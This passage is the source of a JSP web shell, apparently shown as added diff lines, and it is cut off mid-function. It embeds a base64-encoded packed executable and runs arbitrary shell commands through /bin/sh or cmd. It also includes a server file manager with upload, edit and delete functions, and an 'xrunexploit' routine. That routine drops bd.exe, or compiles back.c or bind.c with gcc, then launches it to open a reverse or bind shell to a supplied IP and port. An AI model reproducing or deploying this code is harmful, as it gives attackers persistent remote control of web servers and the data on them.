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"; +String script_name = request.getRequestURI(); +String shell_style = ""; +%><%! +//################# FUNCTION GOES HERE #######################==============================================] +public String getSlash(){ + if(is_win()){ + return "\\"; + } + return "/"; +} +public boolean is_win(){ + if(System.getProperty("os.name").toLowerCase().substring(0,3).equals("win")){ + return true; + } + return false; +} +public String xcleanpath(String path){ + if(is_dir(path)){ + String xSlash = getSlash(); + if(path!=null && path.length() > 1){ + while(path.substring(path.length()-1).equals(xSlash)){ + path = path.substring(0,path.length()-1); + } + return path + xSlash; + } + } + return path; +} +public String urlencode(String str){ + try{ if(str!=null) return URLEncoder.encode(str); } catch(Exception e){ } + return str; +} +public String urldecode(String str){ + try{ if(str!=null) return URLDecoder.decode(str); } catch(Exception e){ } + return str; +} +public String xparsedir(String dir){ + String xSlash = ""; + String xSlash_ = ""; + if(is_win()){ + xSlash = "\\"; + xSlash_ = "\\\\"; + } + else{ + xSlash = "/"; + xSlash_ = "/"; + } + String[] dirs = dir.split(xSlash_); + StringBuffer buff = new StringBuffer(""); + StringBuffer dlink = new StringBuffer(""); + if(!is_win()){ + dlink.append(urlencode(xSlash)); + buff.append("" + xSlash + " "); + } + for(int i=0;i" + d + " " + xSlash + " "); + } + } + return "[ " + buff + " ]"; +} +public boolean is_file(String fpath){ + try{ + File myfile = new File(fpath); + if(myfile.exists() && myfile.isFile()){ return true; } + } + catch(Exception e){ } + return false; +} +public boolean is_dir(String fpath){ + try{ + File myfile = new File(fpath); + if(myfile.exists() && myfile.isDirectory()){ return true; } + } + catch(Exception e){ } + return false; +} +public String xparentfolder(String fpath){ + if(is_dir(fpath)){ + File myfile = new File(fpath); + if(myfile.getParent()!=null) return myfile.getParent(); + else return fpath; + } + return fpath; +} +public String xfileopen(String fpath){ + try{ + StringBuffer content = new StringBuffer(""); + if(is_file(fpath)){ + FileInputStream fileinputstream = new FileInputStream(fpath); + int numberBytes = fileinputstream.available(); + byte bytearray[] = new byte[numberBytes]; + fileinputstream.read(bytearray); + for(int i = 0; i < numberBytes; i++){ + content.append((char) (bytearray[i])); + } + fileinputstream.close(); + } + return content.toString(); + } + catch (Exception e) { + } + return ""; +} +public boolean xfilesave(String fullPath, byte[] bytes){ + try{ + OutputStream bufferedOutputStream = new BufferedOutputStream(new FileOutputStream(fullPath)); + InputStream inputStream = new ByteArrayInputStream(bytes); + int token = -1; + while((token = inputStream.read()) != -1){ + bufferedOutputStream.write(token); + } + bufferedOutputStream.flush(); + bufferedOutputStream.close(); + inputStream.close(); + } + catch(Exception e){ return false; } + if(is_file(fullPath)){ + return true; + } + return false; +} +public boolean xfilesave(String fullPath, String text){ + Writer writer = null; + try{ + File myFile = new File(fullPath); + writer = new BufferedWriter(new FileWriter(myFile)); + writer.write(text); + writer.close(); + } + catch (Exception e) { return false; } + if(is_file(fullPath)){ + return true; + } + return false; +} +public void xrmdir(String fdir){ + File mypath = new File(fdir); + + File[] allitem = mypath.listFiles(); + for(int i=0;i[ "); + letters.append(letter.substring(0,1)); + letters.append(" ] "); + } + letters.append("
"); + return letters.toString(); + } + return ""; +} +public String xfilelastmodified(String fpath){ + if(is_file(fpath) || is_dir(fpath)){ + File myfile = new File(fpath); + return new SimpleDateFormat("dd-MMM-yyyy HH:mm").format(new java.util.Date(myfile.lastModified())); + } + return "???"; +} +public String xfilesummary(String fpath){ + if(is_file(fpath)){ + return "Filesize : " + xparsefilesize(xfilesize(fpath)) + " ( " + xfilesize(fpath) + " ) :: Permission : " + xfileperms(fpath) + " :: modified : " + xfilelastmodified(fpath); + } + return ""; +} +public boolean xrunexploit(String fpath,String base64,String port,String ip){ + String finals = ""; + byte[] embrio = b64decode(base64); + String tmpdir = xcleanpath(System.getProperty("java.io.tmpdir")); + String fname = ""; + String xpath = ""; + boolean ok = false; + if(is_win()){ + fname = "bd.exe"; + xpath = xcleanpath(fpath) + fname; + if(is_file(xpath)){ + File xfile = new File(xpath); + xfile.delete(); + + } + if(!xfilesave(xpath,embrio)){ + xpath = tmpdir + fname; + if(xfilesave(xpath,embrio)) ok = true; + } + else ok = true; + + if(ok){ + finals = xpath + " " + port + " " + ip; + try { + Process p = Runtime.getRuntime().exec(finals); + } + catch(Exception e) { return false; } + return true; + } + } + else { + if(!ip.equals("")) fname = "back"; + else fname = "bind"; + String ypath = xcleanpath(fpath) + fname; + if(is_file(ypath + ".c")){ + File yfile = new File(xpath + ".c"); + yfile.delete(); + } + if(!xfilesave(ypath + ".c",embrio)){ + xpath = tmpdir + fname; + if(xfilesave(xpath,embrio)) ok = true; + } + else ok = true; + + if(ok){ + ekse("gcc " + ypath + ".c -o " + ypath,fpath ); + ekse("chmod +x " + ypath,fpath); + if(is_file(ypath)){ + finals = ypath + " " + port + " " + ip; + try{ + Process p = Runtime.getRuntime().exec(finals); + } + catch(Exception e){ return false; } + return true; + } + else return false; + } + } + return false; +} +String ekse(String cmd, String cwd){ + String[] comm = new String[3]; + if(!is_win()){ + comm[0] = "/bin/sh";comm[1] = "-c";comm[2] = cmd; + }else{ + comm[0] = "cmd";comm[1] = "/C";comm[2] = cmd; + } + StringBuffer ret = new StringBuffer(); + long start = System.currentTimeMillis(); + try { + Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(cwd)); + //Get input and error streams + BufferedInputStream ls_in = new BufferedInputStream(ls_proc.getInputStream()); + BufferedInputStream ls_err = new BufferedInputStream(ls_proc.getErrorStream()); + boolean end = false; + while (!end) { + int c = 0; + while ((ls_err.available() > 0) && (++c <= 1000)) { + ret.append((char) ls_err.read()); + } + c = 0; + while ((ls_in.available() > 0) && (++c <= 1000)) { + ret.append((char) ls_in.read()); + } + try { + ls_proc.exitValue(); + //if the process has not finished, an exception is thrown + //else + while (ls_err.available() > 0) + ret.append((char) ls_err.read()); + while (ls_in.available() > 0) + ret.append((char) ls_in.read()); + end = true; + } + catch (IllegalThreadStateException ex) { + //Process is running + } + try { + Thread.sleep(50); + } + catch (InterruptedException ie) {} + } + } + catch (IOException e) { + ret.append("Error: " + e); + } + return ret.toString(); +} +public String xdir(String fdir){ + String path = xcleanpath(urldecode(fdir)); + StringBuffer buff = new StringBuffer(""); + if(is_dir(path)){ + File mypath = new File(fdir); + ArrayList fname = new ArrayList(); + ArrayList dname = new ArrayList(); + + String[] allitem = mypath.list(); + for(int i=0;i" + + "" + + "" + + "" + + "" + + ""); + + if (path.length() > 3){ + String sd = "."; + String d = xcleanpath(path); + String nextdir = xcleanpath(xparentfolder(d)); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + sd = ".."; + d = xcleanpath(xparentfolder(path)); + nextdir = xcleanpath(xparentfolder(d)); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + } + for(int i=0;i"); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + } + for(int i=0;i"); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + buff.append(""); + } + buff.append("
FilenameFilesizePermissionLast ModifiedAction
[ "+ sd + " ]DIR" + xfileperms(d) + "" + xfilelastmodified(d) + "Properties | Remove
[ "+ sd + " ]DIR" + xfileperms(d) + "" + xfilelastmodified(d) + "Properties | Remove
[ "+ sd + " ]DIR" + xfileperms(nextdir) + "" + xfilelastmodified(nextdir) + "Properties | Remove
"); + buff.append(""); + buff.append(sf + "" + xparsefilesize(xfilesize(f)) + "" + xfileperms(f) + "" + xfilelastmodified(f) + "Edit | Download | Remove
"); + } + return buff.toString(); +} +public boolean is_numeric(String str){ + return str.matches("\\d+"); +} +public void chdir(String directory) { + System.setProperty("user.dir",directory); +} +public byte[] b64decode(String str){ + BASE64Decoder myDec = new BASE64Decoder(); + byte[] decoded = null; + try{ decoded = myDec.decodeBuffer(str); } + catch(Exception e){ } + return decoded; +} +public String htmlspecialchars(String scode){ + StringBuffer sb = new StringBuffer(); + for(int i=0; i' :sb.append(">");break; + case '&' :sb.append("&");break; + case '"' :sb.append(""");break; + case '\'' :sb.append("'");break; + case ' ' :sb.append(" ");break; + default :sb.append(c); + } + } + return sb.toString(); +} +public boolean is_image(String fpath){ + FileNameMap fileNameMap = URLConnection.getFileNameMap(); + String contentType = fileNameMap.getContentTypeFor(fpath); + if(contentType!=null && contentType.toLowerCase().startsWith("image")){ return true; } + return false; +} +class myComparator implements Comparator { + public int compare(Object o1, Object o2) { + String s1 = (String) o1; + String s2 = (String) o2; + return s1.toLowerCase().compareTo(s2.toLowerCase()); + } +} +public class FileInfo { + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} +public class HttpMultiPartParser { + //private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + /** + * Compares boundary string to byte array + */ + private boolean compareBoundary(String boundary, byte ba[]) { + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + + /** Convenience method to read HTTP header lines */ + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = 